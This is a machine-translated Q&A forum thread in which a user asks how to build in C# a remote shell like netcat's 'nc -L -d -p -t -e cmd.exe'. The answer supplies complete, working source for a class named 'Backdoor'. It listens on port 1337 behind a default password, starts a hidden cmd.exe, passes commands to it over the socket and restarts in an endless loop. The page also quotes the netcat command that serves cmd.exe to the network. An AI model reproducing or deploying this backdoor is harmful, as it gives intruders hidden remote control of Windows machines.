2012-05-25 54 views
2

我有興趣編寫一個程序,可以執行類似netcats「nc -L -d -p -t -e cmd.exe」命令的程序。所以它提供了一個遠程shell。我已經嘗試從cmd.exe輸出管道輸入和輸入,並通過套接字發送和接收它,但它似乎並不能很好地工作。還有其他方法可以做到嗎?順便說一下,我正在用C#編程。用netcat編寫遠程shell功能的程序

這是我寫的一些測試代碼,用於測試我是否可以製作自己的「外殼」。這個輸出是應該通過套接字發送的。然而,當程序變成讀取輸出的時候,程序會停下來。這隻能通過使用.readline()方法來彌補,但我不知道如何檢測它何時不應該再讀取行。

 Process p = new Process(); 
     p.StartInfo.FileName = "cmd.exe"; 
     p.StartInfo.UseShellExecute = false; 
     p.StartInfo.RedirectStandardOutput = true; 
     p.StartInfo.RedirectStandardInput = true; 
     p.Start(); 
     StreamReader sr = p.StandardOutput; 
     StreamWriter sw = p.StandardInput; 

     while (true) 
     { 
      Console.Write(">> "); 
      string cmd = Console.ReadLine(); 
      sw.WriteLine(cmd); 
      var resp = sr.ReadLine(); 
      Console.WriteLine(resp); 
     } 

謝謝。

+0

沒做好什麼工作方式?過去我已經完成了這項工作,它的工作原理與廣告一樣,所以這可能是關注細節的問題。 – Jon

+0

感謝您的回覆。我只是用現在正在工作的代碼更新了我的帖子。你能看到什麼是錯的嗎? –

回答

7

不知道,如果你還在乎這個,但是這可能會幫助您:

這是一個C#遠程Shell

/***************************************************************** 
* 
* Created By DT 
* 
* ***************************************************************/ 

using System; 
using System.Diagnostics; 
using System.Net; 
using System.Net.Sockets; 
using System.Threading; 
using System.IO; 

namespace BackdoorServer 
{ 
public class Backdoor 
{ 
    private TcpListener listener;      //ServerSocket object for listening 
    private Socket mainSocket;       //Socket to handle client-server communication 
    private int port;         //Port the server listens on 
    private String name;        //The server name 
    private String password;       //The server password 
    private bool verbose = true;      //Displays messages in console if True 
    private Process shell;        //The shell process 
    private StreamReader fromShell; 
    private StreamWriter toShell; 
    private StreamReader inStream; 
    private StreamWriter outStream; 
    private Thread shellThread;       //So we can destroy the Thread when the client disconnects 

    private static int DEFAULT_PORT = 1337;    //Default port to listen on if one isn't declared 
    private static String DEFAULT_NAME = "Server";  //Default name of server if one isn't declared 
    private static String DEFAULT_PASS = "password"; //Default server password if one isn't declared 

    public Backdoor() 
    {         //Use default settings 
     port = DEFAULT_PORT; 
     name = DEFAULT_NAME; 
     password = DEFAULT_PASS; 
    } 

    public Backdoor(int p) 
    {       //Define port only 
     port = p; 
     name = DEFAULT_NAME; 
     password = DEFAULT_PASS; 
    } 

    public Backdoor(int p, String n) 
    {     //Define port and server name 
     port = p; 
     name = n; 
     password = DEFAULT_PASS; 
    } 

    public Backdoor(int p, String n, String pass) 
    {  //Define port, server name, and password 
     port = p; 
     name = n; 
     password = pass; 
    } 
    public Backdoor(int p, String n, String pass, bool verb) 
    {  //Define port, server name, and password 
     port = p; 
     name = n; 
     password = pass; 
     verbose = verb; 
    } 
    //////////////////////////////////////////////////////////////////////// 
    //the startServer method waits for a connection, checks the password, 
    //and either drops the client or starts a remote shell 
    //////////////////////////////////////////////////////////////////////// 
    public void startServer() { 
     try { 
      if(verbose) 
       Console.WriteLine("Listening on port " + port); 

                   //Create the ServerSocket 
      listener = new TcpListener(port); 
      listener.Start();         //Stop and wait for a connection 
      mainSocket = listener.AcceptSocket(); 

      if(verbose) 
       Console.WriteLine("Client connected: " + mainSocket.RemoteEndPoint); 

      Stream s = new NetworkStream(mainSocket); 
      inStream = new StreamReader(s); 
      outStream = new StreamWriter(s); 
      outStream.AutoFlush = true; 

      String checkPass = inStream.ReadLine(); 

      if(verbose) 
       Console.WriteLine("Client tried password " + checkPass); 

      if(!checkPass.Equals(password)) {      //if the password is not correct 
       if(verbose) 
        Console.WriteLine("Incorrect Password"); 
       badPass();           //Drop the client 
       return; 
      } 

      if(verbose) 
       Console.WriteLine("Password Accepted."); 

      shell = new Process(); 
      ProcessStartInfo p = new ProcessStartInfo("cmd"); 
      p.CreateNoWindow = true; 
      p.UseShellExecute = false; 
      p.RedirectStandardError = true; 
      p.RedirectStandardInput = true; 
      p.RedirectStandardOutput = true; 
      shell.StartInfo = p; 
      shell.Start(); 
      toShell = shell.StandardInput; 
      fromShell = shell.StandardOutput; 
      toShell.AutoFlush = true; 
      shellThread = new Thread(new ThreadStart(getShellInput)); //Start a thread to read output from the shell 
      shellThread.Start(); 
      outStream.WriteLine("Welcome to " + name + " backdoor server.");  //Display a welcome message to the client 
      outStream.WriteLine("Starting shell...\n"); 
      getInput();             //Prepare to monitor client input... 
      dropConnection();         //When getInput() is terminated the program will come back here 

     } 
     catch(Exception) { dropConnection(); } 
    } 
    ////////////////////////////////////////////////////////////////////////////////////////////// 
    //The run method handles shell output in a seperate thread 
    ////////////////////////////////////////////////////////////////////////////////////////////// 

    void getShellInput() 
    { 
     try 
     { 
      String tempBuf = ""; 
      outStream.WriteLine("\r\n"); 
      while ((tempBuf = fromShell.ReadLine()) != null) 
      { 
       outStream.WriteLine(tempBuf + "\r"); 
      } 
      dropConnection(); 
     } 
     catch (Exception) { /*dropConnection();*/ } 
    } 

    private void getInput() { 
     try { 
      String tempBuff = "";          //Prepare a string to hold client commands 
      while(((tempBuff = inStream.ReadLine()) != null)) {   //While the buffer is not null 
       if(verbose) 
        Console.WriteLine("Received command: " + tempBuff); 
       handleCommand(tempBuff);        //Handle the client's commands 
      } 
     } 
     catch(Exception) {} 
    } 

    private void handleCommand(String com) {  //Here we can catch commands before they are sent 
     try {          //to the shell, so we could write our own if we want 
      if(com.Equals("exit")) {    //In this case I catch the 'exit' command and use it 
       outStream.WriteLine("\n\nClosing the shell and Dropping the connection..."); 
       dropConnection();     //to drop the connection 
      } 
      toShell.WriteLine(com + "\r\n"); 
     } 
     catch(Exception) { dropConnection(); } 
    } 

    //////////////////////////////////////////////////////////////////// 
    //The drop connection method closes all connections and 
    //resets the objects to their null states to be created again 
    //I don't know if this is the best way to do it but it seems to 
    //work without issue. 
    //////////////////////////////////////////////////////////////////// 
    private void badPass() 
    { 
     inStream.Dispose(); 
     outStream.Dispose(); 
     mainSocket.Close(); 
     listener.Stop(); 
     return; 
    } 
    private void dropConnection() { 
     try { 
      if(verbose) 
       Console.WriteLine("Dropping Connection"); 
      shell.Close(); 
      shell.Dispose(); 
      shellThread.Abort(); 
      shellThread = null; 
      inStream.Dispose();         //Close everything... 
      outStream.Dispose(); 
      toShell.Dispose(); 
      fromShell.Dispose(); 
      shell.Dispose(); 
      mainSocket.Close(); 
      listener.Stop(); 
      return; 
     } 
     catch(Exception) {} 
    } 
    static void Main(string[] args) 
    { 
     try { 
      Backdoor bd = new Backdoor(); 
      if (args.Length == 1) 
       bd = new Backdoor(int.Parse(args[0])); 
      if (args.Length == 2) 
       bd = new Backdoor(int.Parse(args[0]), args[1]); 
      if (args.Length == 3) 
       bd = new Backdoor(int.Parse(args[0]), args[1], args[2]); 
      else if (args.Length == 4) 
       bd = new Backdoor(int.Parse(args[0]), args[1], args[2], bool.Parse(args[3])); 
      while (true) 
      { 
       bd.startServer(); 
      } 
     } 
     catch(Exception) {} 

    } 
} 
}